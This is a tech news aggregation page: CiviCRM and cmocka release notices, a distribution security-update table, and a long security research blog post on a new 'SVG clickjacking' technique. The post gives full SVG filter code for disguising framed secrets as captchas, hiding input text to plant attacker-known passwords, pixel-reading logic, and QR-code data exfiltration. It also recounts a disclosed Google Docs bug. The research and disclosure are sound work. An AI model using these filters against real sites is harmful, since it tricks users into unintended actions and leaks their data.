CiviCRM 6.9 Release

CiviCRM
civicrm.org
2025-12-04 12:01:14
Thanks to the hard work of CiviCRM’s incredible community of contributors, CiviCRM version 6.9.0 is now ready to download. This is a regular monthly release that includes new features and bug fixes. Details are available in the monthly release notes. Your are encouraged to upgrade now f...
Original Article

Thanks to the hard work of CiviCRM’s incredible community of contributors, CiviCRM version 6.9.0 is now ready to download. This is a regular monthly release that includes new features and bug fixes. Details are available in the monthly release notes .

Your are encouraged to upgrade now for the most stable, secure CiviCRM experience:

Download CiviCRM

Users of the CiviCRM Extended Security Releases (ESR) do not need to upgrade. The current version of ESR is CiviCRM 6.4.x.

Support CiviCRM

CiviCRM is community driven and is sustained through code contributions and generous financial support.

We are committed to keeping CiviCRM free and open, forever . We depend on your support to help make that happen. Please consider supporting CiviCRM today .

Big thanks to all our partners , members , ESR subscribers and contributors who give regularly to support CiviCRM for everyone.

Credits

AGH Strategies - Alice Frumin; Agileware Pty Ltd - Iris, Justin Freeman; akwizgran; ALL IN APPLI - Guillaume Sorel; Artful Robot - Rich Lott; BrightMinded Ltd - Bradley Taylor; Christian Wach; Christina; Circle Interactive - Dave Jenkins, Rhiannon Davies; CiviCoop - Jaap Jansma, Erik Hommel; CiviCRM - Coleman Watts, Tim Otten, Benjamin W; civiservice.de - Gerhard Weber; CompuCo - Muhammad Shahrukh; Coop SymbioTIC - Mathieu Lutfy, Samuel Vanhove, Shane Bill; cs-bennwas; CSES (Chelmsford Science and Engineering Society) - Adam Wood; Dave D; DevApp - David Cativo; Duncan Stanley White; Freeform Solutions - Herb van den Dool; Fuzion - Jitendra Purohit, Luke Stewart; Giant Rabbit - Nathan Freestone; Greenpeace Central and Eastern Europe - Patrick Figel; INOEDE Consulting - Nadaillac; JacquesVanH; JMA Consulting - Seamus Lee; Joinery - Allen Shaw; Lemniscus - Noah Miller; Makoa - Usha F. Matisson; Megaphone Technology Consulting - Jon Goldberg; MJW Consulting - Matthew Wire; Mosier Consulting - Justin Mosier; Nicol Wistreich; OrtmannTeam GmbH - Andreas Lietz; Progressive Technology Project - Jamie McClelland; Progressive Technology Project - Jamie McClelland; Richard Baugh; Skvare - Sunil Pawar; Sarah Farrell-Graham; Squiffle Consulting - Aidan Saunders; Tadpole Collective - Kevin Cristiano; Wikimedia Foundation - Eileen McNaughton; Wildsight - Lars Sander-Green

New Extensions

  • Membership AJAX Permissions - This CiviCRM extension modifies the API permissions to allow it to be called with just the "Access AJAX API" permission instead of requiring the more restrictive default permissions.
  • civiglific - Integrates Glific ( https://glific.org ) with CiviCRM to sync contact groups and send automated WhatsApp messages and receipts to contributors.
  • Reply to Inbound Email - Makes it easier to reply to email, quote the original, etc.

View all latest extensions

cmocka 2.0 released

Linux Weekly News
lwn.net
2025-12-04 14:09:54
Andreas Schneider has announced version 2.0 of the cmocka unit-testing framework for C: This release represents a major modernization effort, bringing cmocka firmly into the "modern" C99 era while maintaining the simplicity and ease of use that users have come to expect. One of the most significa...
Original Article

Andreas Schneider has announced version 2.0 of the cmocka unit-testing framework for C:

This release represents a major modernization effort, bringing cmocka firmly into the "modern" C99 era while maintaining the simplicity and ease of use that users have come to expect.

One of the most significant changes in cmocka 2.0 is the migration to C99 standard integer types. The LargestIntegralType typedef has been replaced with intmax_t and uintmax_t from stdint .h, providing better type safety and portability across different platforms. Additionally, we've adopted the bool type where appropriate, making the code more expressive and self-documenting.

Using intmax_t and uintmax_t also allows to print better error messages. So you can now find e.g. assert_int_equal and assert_uint_equal .

cmocka 2.0 introduces a comprehensive set of type-specific assertion macros, including `assert_uint_equal()`, `assert_float_equal()`, and enhanced pointer assertions. The mocking system has also been significantly improved with type-specific macros like `will_return_int()` and `will_return_float()`. The same for parameter checking etc.

LWN covered the project early in its development in 2013. See the full list of new features, enhancements, and bug fixes in cmocka 2.0 in the changelog .



Security updates for Thursday

Linux Weekly News
lwn.net
2025-12-04 14:07:15
Security updates have been issued by AlmaLinux (expat and libxml2), Debian (openvpn and webkit2gtk), Fedora (gi-loadouts, kf6-kcoreaddons, kf6-kguiaddons, kf6-kjobwidgets, kf6-knotifications, kf6-kstatusnotifieritem, kf6-kunitconversion, kf6-kwidgetsaddons, kf6-kxmlgui, nanovna-saver, persepolis, py...
Original Article
Dist. ID Release Package Date
AlmaLinux ALSA-2025:22175 9 expat 2025-12-03
AlmaLinux ALSA-2025:22376 9 libxml2 2025-12-03
Debian DSA-6069-1 stable openvpn 2025-12-03
Debian DLA-4394-1 LTS webkit2gtk 2025-12-04
Debian DSA-6070-1 stable webkit2gtk 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 gi-loadouts 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-kcoreaddons 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-kguiaddons 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-kjobwidgets 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-knotifications 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-kstatusnotifieritem 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-kunitconversion 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-kwidgetsaddons 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 kf6-kxmlgui 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 nanovna-saver 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 persepolis 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 python-ezdxf 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 python-pyside6 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 sigil 2025-12-04
Fedora FEDORA-2025-7ea43a29f2 F42 stb 2025-12-04
Fedora FEDORA-2025-55bbd18c79 F43 stb 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 syncplay 2025-12-04
Fedora FEDORA-2025-72fbf180c7 F43 tinyproxy 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 torbrowser-launcher 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 ubertooth 2025-12-04
Fedora FEDORA-2025-073e4f7991 F42 usd 2025-12-04
Fedora FEDORA-2025-0cc929ff17 F43 usd 2025-12-04
Mageia MGASA-2025-0315 9 cups 2025-12-03
SUSE openSUSE-SU-2025:0458-1 osB15 Security 2025-12-04
SUSE SUSE-SU-2025:4319-1 SLE15 SLE-m5.2 SLE-m5.3 SLE-m5.4 SLE-m5.5 oS15.6 cups 2025-12-03
SUSE openSUSE-SU-2025:15793-1 TW gegl 2025-12-03
SUSE openSUSE-SU-2025:0457-1 osB15 icinga2 2025-12-04
SUSE openSUSE-SU-2025-20135-1 oS16.0 mozjs128 2025-12-04
Ubuntu USN-7904-1 16.04 18.04 20.04 ghostscript 2025-12-03
Ubuntu USN-7911-1 14.04 kernel 2025-12-04
Ubuntu USN-7909-1 20.04 22.04 linux, linux-aws, linux-aws-5.15, linux-gcp-5.15, linux-hwe-5.15, linux-ibm, linux-ibm-5.15, linux-intel-iotg, linux-intel-iotg-5.15, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia, linux-nvidia-tegra, linux-nvidia-tegra-5.15, linux-nvidia-tegra-igx, linux-oracle, linux-oracle-5.15, linux-xilinx-zynqmp 2025-12-04
Ubuntu USN-7907-1 16.04 18.04 linux, linux-aws, linux-aws-hwe, linux-kvm, linux-oracle 2025-12-03
Ubuntu USN-7909-3 22.04 linux-aws-fips, linux-fips, linux-gcp-fips 2025-12-04
Ubuntu USN-7907-2 18.04 linux-aws-fips, linux-fips 2025-12-03
Ubuntu USN-7910-1 22.04 linux-azure-fips 2025-12-04
Ubuntu USN-7907-3 16.04 18.04 linux-gcp, linux-gcp-4.15, linux-hwe 2025-12-04
Ubuntu USN-7889-4 22.04 24.04 linux-gcp, linux-gcp-6.8, linux-gke, linux-gkeop 2025-12-04
Ubuntu USN-7879-4 24.04 25.04 linux-gcp-6.14, linux-raspi 2025-12-04
Ubuntu USN-7907-4 18.04 linux-gcp-fips 2025-12-04
Ubuntu USN-7909-2 22.04 linux-intel-iot-realtime, linux-realtime 2025-12-04
Ubuntu USN-7861-5 24.04 linux-raspi, linux-raspi-realtime, linux-xilinx 2025-12-03
Ubuntu USN-7908-1 22.04 24.04 25.04 25.10 postgresql-14, postgresql-16, postgresql-17 2025-12-03

SVG Filters - Clickjacking 2.0

Lobsters
lyra.horse
2025-12-04 14:04:13
Comments...
Original Article

Clickjacking is a classic attack that consists of covering up an iframe of some other website in an attempt to trick the user into unintentionally interacting with it. It works great if you need to trick someone into pressing a button or two, but for anything more complicated it’s kind of unrealistic.

I’ve discovered a new technique that turns classic clickjacking on its head and enables the creation of complex interactive clickjacking attacks, as well as multiple forms of data exfiltration.

I call this technique “ SVG clickjacking ”.

Liquid SVGs

The day Apple announced its new Liquid Glass redesign was pretty chaotic. You couldn’t go on social media without every other post being about the new design, whether it was critique over how inaccessible it seemed, or awe at how realistic the refraction effects were.

Drowning in the flurry of posts, a thought came to mind - how hard would it be to re-create this effect? Could I do this, on the web, without resorting to canvas and shaders? I got to work, and about an hour later I had a pretty accurate CSS/SVG recreation of the effect 1 .

EMERGENCY!

Girls Rituals

This Won't Be The Last Time

acloudyskye

SOUND BANDIT FUCKING LIVES

Sound Bandit

Love & Ponystep

Vylet Pony

I Love My Computer

Ninajirachi

You can drag around the effect with the bottom-right circle control thing in the demo above (chrome/firefox desktop, chrome mobile).

Note: This demo is broken in Safari, sorry.

My little tech demo made quite a splash online, and even resulted in a news article with what is probably the wildest quote about me to date: “Samsung and others have nothing on her” .

A few days passed, and another thought came to mind - would this SVG effect work on top of an iframe?

Like, surely not? The way the effect “refracts light” 2 is way too complex to work on a cross-origin document.

But, to my surprise, it did.

The reason this was so interesting to me is that my liquid glass effect uses the feColorMatrix and feDisplacementMap SVG filters - changing the colors of pixels, and moving them, respectively. And I could do that on a cross-origin document?

This got me wondering - do any of the other filters work on iframes, and could we turn that into an attack somehow? It turns out that it’s all of them, and yes!

Building blocks

I got to work, going through every <fe*> SVG element and figuring out which ones can be combined to build our own attack primitives.

These filter elements take in one or more input images, apply operations to them, and output a new image. You can chain a bunch of them together within a single SVG filter, and refer to the output of any of the previous filter elements in the chain.

Let’s take a look at some of the more useful base elements we can play with:

That’s quite a selection of utilities!

If you’re a demoscener 3 you’re probably feeling right at home. These are the fundamental building blocks for many kinds of computer graphics, and they can be combined into many useful primitives of our own. So let’s see some examples.

Fake captcha

I’ll start off with an example of basic data exfiltration. Suppose you’re targeting an iframe that contains some sort of sensitive code. You could ask the user to retype it by itself, but that’d probably seem suspicious.

What we can do instead is make use of feDisplacementMap to make the text seem like a captcha! This way, the user is far more likely to retype the code.

Here is your secret code:

6c79 7261 706f 6e79

Don't share it with anyone!

Here is your secret code:

6c79 7261 706f 6e79

Don't share it with anyone!

Complete a captcha

What's written above?

Good girl!!

( tap click to edit it you're not a girl)

<iframe src="..." style="filter:url(#captchaFilter)"></iframe>
<svg width="768" height="768" viewBox="0 0 768 768" xmlns="http://www.w3.org/2000/svg">
  <filter id="captchaFilter">
    <feTurbulence
      type="turbulence"
      baseFrequency="0.03"
      numOctaves="4"
      result="turbulence" />
    <feDisplacementMap
      in="SourceGraphic"
      in2="turbulence"
      scale="6"
      xChannelSelector="R"
      yChannelSelector="G" />
  </filter>
</svg>

Note: Only the part inside the <filter> block is relevant, the rest is just an example of using filters.

Add to this some color effects and random lines , and you’ve got a pretty convincing cap - tcha!

Out of all the attack primitives I’ll be sharing, this one is probably the least useful as sites rarely allow you to frame pages giving out magic secret codes. I wanted to show it though, as it’s a pretty simple introduction to the attack technique.

)]}' [[1337],[1,"AIzaSyAtbm8sIHRoaXMgaXNuJ3QgcmVhbCBsb2w",0,"a",30],[768972,768973,768932,768984,768972,768969,768982,768969,768932,768958,768951],[105,1752133733,7958389,435644166009,7628901,32481100117144691,28526,28025,1651273575,15411]]

Still, it could come in handy because often times you’re allowed to frame read-only API endpoints, so maybe there’s an attack there to discover.

Grey text hiding

The next example is for situations where you want to trick someone into, for example, interacting with a text input. Oftentimes the inputs have stuff like grey placeholder text in them, so showing the input box by itself won’t cut it.

Let’s take a look at our example target (try typing in the box).

Set a new p​assword

too short

In this example we want to trick the user into setting an attacker-known password, so we want them to be able to see the text they’re entering, but not the grey placeholder text, nor the red “too short” text.

Let’s start off by using feComposite with arithmetics to make the grey text disappear. The arithmetic operation takes in two images, i1 ( in=... ) and i2 ( in2=... ), and lets us do per-pixel maths with k1 , k2 , k3 , k4 as the arguments according to this formula: r = k 1 i 1 i 2 + k 2 i 1 + k 3 i 2 + k 4 4 .

Set a new p​assword

too short

<feComposite operator=arithmetic
             k1=0 k2=4 k3=0 k4=0 />

Tip! You can leave out the in/in2 parameters if you just want it to be the previous output.

It’s getting there - by multiplying the brightness of the input we’ve made the grey text disappear, but now the black text looks a little suspicious and hard to read, especially on 1x scaling displays.

We could play around with the arguments to find the perfect balance between hiding the grey text and showing the black one, but ideally we’d still have the black text look the way usually does, just without any grey text. Is that possible?

So here’s where a really cool technique comes into play - masking. We’re going to create a matte to “cut out” the black text and cover up everything else. It’s going to take us quite a few steps to get to the desired result, so lets go through it bit-by-bit.

We start off by cropping the result of our black text filter with feTile .

Set a new p​assword

too short

<feTile x=20 y=56 width=184 height=22 />

Note: Safari seems to be having some trouble with feTile , so if the examples flicker or look blank, read this post in a browser such as Firefox or Chrome. If you're writing an attack for Safari, you can also achieve cropping by making a luma matte with feFlood and then applying it.

Then we use feMorphology to increase the thickness of the text.

Set a new p​assword

too short

<feMorphology operator=erode radius=3 result=thick />

Now we have to increase the contrast of the mask. I’m going to do it by first using feFlood to create a solid white image, which we can then feBlend with difference to invert our mask. And then we can use feComposite to multiply 5 the mask for better contrast.

Set a new p​assword

too short

<feFlood flood-color=#FFF result=white />
<feBlend mode=difference in=thick in2=white />
<feComposite operator=arithmetic k2=100 />

We have a luma matte now! All that’s left is to convert it into an alpha matte with feColorMatrix , apply it to the source image with feComposite , and make the background white with feBlend .

Set a new p​assword

too short

<feColorMatrix type=matrix
        values="0 0 0 0 0
                0 0 0 0 0
                0 0 0 0 0
                0 0 1 0 0" />
<feComposite in=SourceGraphic operator=in />
<feBlend in2=white />

Looks pretty good, doesn’t it! If you empty out the box (try it!) you might notice some artifacts that give away what we’ve done, but apart from that it’s a pretty good way to sort of sculpt and form various inputs around a bit for an attack.

There are all sorts of other effects you can add to make the input seem just right. Let’s combine everything together into a complete example of an attack.

Set a new p​assword

too short

Enter your e-mail address:

<filter>
  <feComposite operator=arithmetic
               k1=0 k2=4 k3=0 k4=0 />
  <feTile x=20 y=56 width=184 height=22 />
  <feMorphology operator=erode radius=3 result=thick />
  <feFlood flood-color=#FFF result=white />
  <feBlend mode=difference in=thick in2=white />
  <feComposite operator=arithmetic k2=100 />
  <feColorMatrix type=matrix
      values="0 0 0 0 0
              0 0 0 0 0
              0 0 0 0 0
              0 0 1 0 0" />
  <feComposite in=SourceGraphic operator=in />
  <feTile x=21 y=57 width=182 height=20 />
  <feBlend in2=white />
  <feBlend mode=difference in2=white />
  <feComposite operator=arithmetic k2=1 k4=0.02 />
</filter>

You can see how the textbox is entirely recontextualized now to fit a different design while still being fully functional.

Pixel reading

And now we come to what is most likely the most useful attack primitive - pixel reading. That’s right, you can use SVG filters to read color data off of images and perform all sorts of logic on them to create really advanced and convincing attacks.

The catch is of course, that you’ll have to do everything within SVG filters - there is no way to get the data out 6 . Despite that, it is very powerful if you get creative with it.

On a higher level, what this lets us do is make everything in a clickjacking attack responsive - fake buttons can have hover effects, pressing them can show fake dropdowns and dialogs, and we can even have fake form validation.

Let’s start off with a simple example - detecting if a pixel is pure black, and using it to turn another filter on or off.

<--- very cool! click to change color

For this target, we want to detect when the user clicks on the box to change its color, and use that to toggle a blur effect.

All the examples from here onwards are broken on Safari. Use Firefox or Chrome if you don't see them.

<--- very cool! click to change color

<feTile x="50" y="50"
        width="4" height="4" />
<feTile x="0" y="0"
        width="100%" height="100%" />

Let’s start off by using two copies of the feTile filter to first crop out the few pixels we’re interested in and then tile those pixels across the entire image.

The result is that we now have the entire screen filled with the color of the area we are interested in.

<--- very cool! click to change color

<feComposite operator=arithmetic k2=100 />

We can turn this result into a binary on/off value by using feComposite ’s arithmetic the same way as in the last section, but with a way larger k2 value. This makes it so that the output image is either completely black or completely white.

<--- very cool! click to change color

<feColorMatrix type=matrix
  values="0 0 0 0 0
          0 0 0 0 0
          0 0 0 0 0
          0 0 1 0 0" result=mask />
<feGaussianBlur in=SourceGraphic
                stdDeviation=3 />
<feComposite operator=in in2=mask />
<feBlend in2=SourceGraphic />

And just as before, this can be used as a mask. We once again convert it into an alpha matte, but this time apply it to the blur filter.

So that’s how you can find out whether a pixel is black and use that to toggle a filter!

<--- very cool! click to change color

Uh oh! It seems that somebody has changed the target to have a pride-themed button instead!

How can we adapt this technique to work with arbitrary colors and textures?

<--- very cool! click to change color

<!-- crop to first stripe of the flag -->
<feTile x="22" y="22"
        width="4" height="4" />
<feTile x="0" y="0" result="col"
        width="100%" height="100%" />
<!-- generate a color to diff against -->
<feFlood flood-color="#5BCFFA"
         result="blue" />
<feBlend mode="difference"
         in="col" in2="blue" />
<!-- k4 is for more lenient threshold -->
<feComposite operator=arithmetic
             k2=100 k4=-5 />
<!-- do the masking and blur stuff... -->
...

The solution is pretty simple - we can simply use feBlend ’s difference combined with a feColorMatrix to join the color channels to turn the image into a similar black/white matte as before. For textures we can use feImage , and for non-exact colors we can use a bit of feComposite ’s arithmetic to make the matching threshold more lenient.

And that’s it, a simple example of how we can read a pixel value and use it to toggle a filter.

Logic gates

But here’s the part where it gets fun! We can repeat the pixel-reading process to read out multiple pixels, and then run logic on them to program an attack.

By using feBlend and feComposite , we can recreate all logic gates and make SVG filters functionally complete . This means that we can program anything we want, as long as it is not timing-based 7 and doesn’t take up too many resources 8 .

Input:

NOT:
<feBlend mode=difference in2=white />

AND:
<feComposite operator=arithmetic k1=1 />

OR:
<feComposite operator=arithmetic k2=1 k3=1 />

XOR:
<feBlend mode=difference in=a in2=b />

NAND:
(AND + NOT)

NOR:
(OR + NOT)

XNOR:
(XOR + NOT)

These logic gates are what modern computers are made of. You could build a computer within an SVG filter if you wanted to. In fact, here’s a basic calculator I made:

This is a full adder circuit. This filter implements the logic gates S = A B C in for the output and C out = ( A B ) ( C in ( A B ) ) for the carry bit using the logic gates described above. There are more efficient ways to implement an adder in SVG filters, but this is meant to serve as proof of the ability to implement arbitrary logic circuits.

<!-- util -->
<feOffset in="SourceGraphic" dx="0" dy="0" result=src />
<feTile x="16px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=a />
<feTile x="48px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=b />
<feTile x="72px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=c />
<feFlood flood-color=#FFF result=white />
<!-- A ⊕ B -->
<feBlend mode=difference in=a in2=b result=ab />
<!-- [A ⊕ B] ⊕ C -->
<feBlend mode=difference in2=c />
<!-- Save result to 'out' -->
<feTile x="96px" y="0px" width="32" height="32" result=out />
<!-- C ∧ [A ⊕ B] -->
<feComposite operator=arithmetic k1=1 in=ab in2=c result=abc />
<!-- (A ∧ B) -->
<feComposite operator=arithmetic k1=1 in=a in2=b />
<!-- [A ∧ B] ∨ [C ∧ (A ⊕ B)] -->
<feComposite operator=arithmetic k2=1 k3=1 in2=abc />
<!-- Save result to 'carry' -->
<feTile x="64px" y="32px" width="32" height="32" result=carry />
<!-- Combine results -->
<feBlend in2=out />
<feBlend in2=src result=done />
<!-- Shift first row to last -->
<feTile x="0" y="0" width="100%" height="32" />
<feTile x="0" y="0" width="100%" height="100%" result=lastrow />
<feOffset dx="0" dy="-32" in=done />
<feBlend in2=lastrow />
<!-- Crop to output -->
<feTile x="0" y="0" width="100%" height="100%" />

Anyways, for an attacker, what all of this means is that you can make a multi-step clickjacking attack with lots of conditions and interactivity. And you can run logic on data from cross-origin frames.

Securify

Welcome to this secure application!

This is an example target where we want to trick the user into marking themselves as hacked, which requires a few steps:

  • Clicking a button to open a dialog
  • Waiting for the dialog to load
  • Clicking a checkbox within the dialog
  • Clicking another button in the dialog
  • Checking for the red text that appeared

Securify

Welcome to this secure application!

Win free iPod by following the steps below.

1. Click here

2. Wait 3 seconds

3. Click

4. Click here

A traditional clickjacking attack against this target would be difficult to pull off. You’d need to have the user click on multiple buttons in a row with no feedback in the UI.

There are some tricks you could do to make a traditional attack more convincing than what you see above, but it’s still gonna look sketch af. And the moment you throw something like a text input into the mix, it’s just not gonna work.

Anyways, let’s build out a logic tree for a filter-based attack:

  • Is the dialog open?
    • (No) Is the red text present?
      • (No) Make the user press the button
      • (Yes) Show the end screen
    • (Yes) Is the dialog loaded?
      • (No) Show loading screen
      • (Yes) Is the checkbox checked?
        • (No) Make the user check the checkbox
        • (Yes) Make the user click the button

Which can be expressed in logic gates 9 as:

  • Inputs
    • D (dialog visible) = check for background dim
    • L (dialog loaded) = check for the button in dialog
    • C (checkbox checked) = check whether the button is blue or grey
    • R (red text visible) = feMorphology and check for red pixels
  • Outputs
    • D ) ∧ (¬ R ) => button1.png
    • D ∧ (¬ L ) => loading.png
    • D L ∧ (¬ C ) => checkbox.png
    • D L C => button2.png
    • D ) ∧ R => end.png

And this is how we would implement it in SVG:

<!-- util -->
<feTile x="14px" y="4px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" />
<feColorMatrix type=matrix result=debugEnabled
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feFlood flood-color=#FFF result=white />
<!-- attack imgs -->
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=button1.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=loading.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=checkbox.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=button2.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=end.png></feImage>
<!-- D (dialog visible) -->
<feTile x="4px" y="4px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" />
<feBlend mode=difference in2=white />
<feComposite operator=arithmetic k2=100 k4=-1 result=D />
<!-- L (dialog loaded) -->
<feTile x="313px" y="141px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" result="dialogBtn" />
<feBlend mode=difference in2=white />
<feComposite operator=arithmetic k2=100 k4=-1 result=L />
<!-- C (checkbox checked) -->
<feFlood flood-color=#0B57D0 />
<feBlend mode=difference in=dialogBtn />
<feComposite operator=arithmetic k2=4 k4=-1 />
<feComposite operator=arithmetic k2=100 k4=-1 />
<feColorMatrix type=matrix
               values="1 1 1 0 0
                       1 1 1 0 0
                       1 1 1 0 0
                       1 1 1 1 0" />
<feBlend mode=difference in2=white result=C />
<!-- R (red text visible) -->
<feMorphology operator=erode radius=3 in=SourceGraphic />
<feTile x="17px" y="150px" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result=redtext />
<feColorMatrix type=matrix
               values="0 0 1 0 0
                       0 0 0 0 0
                       0 0 0 0 0
                       0 0 1 0 0" />
<feComposite operator=arithmetic k2=2 k3=-5 in=redtext />
<feColorMatrix type=matrix result=R
               values="1 0 0 0 0
                       1 0 0 0 0
                       1 0 0 0 0
                       1 0 0 0 1" />
<!-- Attack overlays -->
<feColorMatrix type=matrix in=R
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=end.png operator=in />
<feBlend in2=button1.png />
<feBlend in2=SourceGraphic result=out />
<feColorMatrix type=matrix in=C
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=button2.png operator=in />
<feBlend in2=checkbox.png result=loadedGraphic />
<feColorMatrix type=matrix in=L
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=loadedGraphic operator=in />
<feBlend in2=loading.png result=dialogGraphic />
<feColorMatrix type=matrix in=D
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=dialogGraphic operator=in />
<feBlend in2=out />

Securify

Welcome to this secure application!

Play around with this and see just how much more convincing it is as an attack. And we could easily make it better by, for example, adding some extra logic to also add hover visuals to the buttons. The demo has debug visuals for the four inputs (D, L, C, R) in the bottom left as squares to make it easier to understand what’s going on.

But yeah, that’s how you can make complex and long clickjacking attacks that have not been realistic with the traditional clickjacking methods.

I kept this example here pretty short and simple, but real-world attacks can be a lot more involved and polished.

In fact…

The Docs bug

I’ve actually managed to pull off this attack against Google Docs!

Take a look at the demo videos here (alt links: bsky , twitter ).

What this attack does is:

  • Makes the user click on the “Generate Document” button
  • Once pressed, detects the popup and shows a textbox for the user to type a “captcha” into
    • The textbox starts off with a gradient animation, which must be handled
    • The textbox has focus states, which must also be present in the attack visuals, so they must be detected by the background color of the textbox
    • The textbox has grey text for both a placeholder AND suggestions, which must be hidden with the technique discussed earlier
  • Once the captcha is typed, makes the user seemingly click on a button (or press enter), which causes a suggested Docs item to be added into the textbox
    • This item must be detected by looking for its background color in the textbox
  • Once the item is detected, the textbox must be hidden and another button must be shown instead
    • Once that button is clicked, a loading screen appears, which must be detected
  • If the loading screen is present, or the dialog is not visible and the “Generate Document” button is not present, the attack is over and the final screen must be shown

In the past, individual parts of such an attack could’ve been pulled off through traditional clickjacking and some basic CSS, but the entire attack would’ve been way too long and complex to be realistic. With this new technique of running logic inside SVG filters, such attacks become realistic.

Google VRP awarded me $3133.70 for the find. That was, of course, right before they introduced a novelty bonus for new vulnerability classes. Hmph! 10

The QR attack

Something I see in online discussions often is the insistence on QR codes being dangerous. It kind of rubs me the wrong way because QR codes are not any more dangerous than links.

I don’t usually comment on this too much because it’s best to avoid suspicious links, and the same goes for QR codes, but it does nag me to see people make QR codes out to be this evil thing that can somehow immediately hack you.

I turns out though, that my SVG filters attack technique can be applied to QR codes as well!

The example from earlier in the blog with retyping a code becomes impractical once the user realizes they’re typing something they shouldn’t. We can’t stuff the data we exfiltrate into a link either, because an SVG filter cannot create a link.

But since an SVG filter can run logic and provide visual output, perhaps we could generate a QR code with a link instead?

Creating the QR

Creating a QR code within an SVG filter is easier said than done however. We can shape binary data into the shape of a QR code by using feDisplacementMap , but for a QR code to be scannable it also needs error correction data.

QR codes use Reed-Solomon error correction , which is some fun math stuff that’s a bit more advanced than a simple checksum. It does math with polynomials and stuff and that is a bit annoying to reimplement in an SVG.

Luckily for us, I’ve faced the same problem before! Back in 2021 I was the first person 11 to make a QR code generator in Minecraft , so I’ve already figured out the things necessary.

In my build I pre-calculated some lookup tables for the error correction, and used those instead to make the build simpler - and we can do the same with the SVG filter.

This post is already getting pretty long, so I’ll leave figuring out how this filter works as an exercise to the reader ;).

Hover to see QR

This is a demo that displays a QR code telling you how many seconds you’ve been on this page for. It’s a bit fiddly, so if it doesn’t work make sure that you aren’t using any display scaling or a custom color profile . On Windows you can toggle the Automatically manage color for apps setting, and on a Mac you can set the color profile to sRGB for it to work.

This demo does not work on mobile devices . And also, for the time being, it only works in Chromium-based browsers , but I believe it could be made to work in Firefox too.

Similarly, in a real attack, the scaling and color profile issues could be worked around using some JavaScript tricks or simply by implementing the filter a bit differently - this here is just a proof of concept that’s a bit rough around the edges.

But yeah, that’s a QR code generator built inside and SVG filter!

Took me a while to make, but I didn’t want to write about it just being “theoretically possible”.

Attack scenario

So the attack scenario with the QR code is that you’d read pixels from a frame, process them to extract the data you want, encode them into a URL that looks something like https://lyra. horse /?ref=c3VwZXIgc2VjcmV0IGluZm8 and render it as a QR code.

Then, you prompt the user to scan the QR code for whatever reason (eg anti-bot check). To them, the URL will seem like just a normal URL with a tracking ID or something in it.

Once the user opens the URL, your server gets the request and receives the data from the URL.

And so on..

There are so many ways to make use of this technique I won’t have time to go over them all in this post. Some examples would be reading text by using the difference blend mode, or exfiltrating data by making the user click on certain parts of the screen.

You could even insert data from the outside to have a fake mouse cursor inside the SVG that shows the pointer cursor and reacts to fake buttons inside your SVG to make the exfiltration more realistic.

Or you could code up attacks with CSS and SVG where CSP doesn’t allow for any JS.

Anyways, this post is long as is, so I’ll leave figuring out these techniques as homework.

Novel technique

This is the first time in my security research I’ve found a completely new technique!

I introduced it briefly at my BSides talk in September , and this post here is a more in-depth overview of the technique and how it can be used.

Of course, you can never know 100% for sure that a specific type of attack has never been found by anyone else, but my extensive search of existing security research has come up with nothing, so I suppose I can crown myself as the researcher who discovered it?

Here’s some previous research I’ve found:

I don’t think me discovering this technique was just luck though. I have a history of seeing things such as CSS as programming languages to exploit and be creative with. It wasn’t a stretch for me to see SVG filters as a programming language either.

That, and my overlap between security research and creative projects - I often blur the lines between the two, which is what Antonymph was born out of.

In any case, it feels yay :3 woof yippie waow awesome meow awrf to discover something like this.

afterword

whoa this post took such a long time for me to get done!

i started work on it in july, and was expecting to release it alongside my CSS talk in september, but it has taken me so much longer than expected to actually finish this thing. i wanted to make sure it was a good in-depth post, rather than something i just get out as soon as possible.

unlike my previous posts, i did unfortunately have to break my trend of using no images, since i needed a few data URIs within the SVG filters for demos. still, no images anywhere else in the post, no javascript, and just 42kB (gzip) of handcrafted html/css/svg.

also, i usually hide a bunch of easter eggs in my post that link to stuff i’ve enjoyed recently, but i have a couple links i didn’t want to include without content warnings. finding responsibility is a pretty dark talk about the ethics of making sure your work won’t end up killing people, and youre the one ive always wanted is slightly nsfw doggyhell vent art.

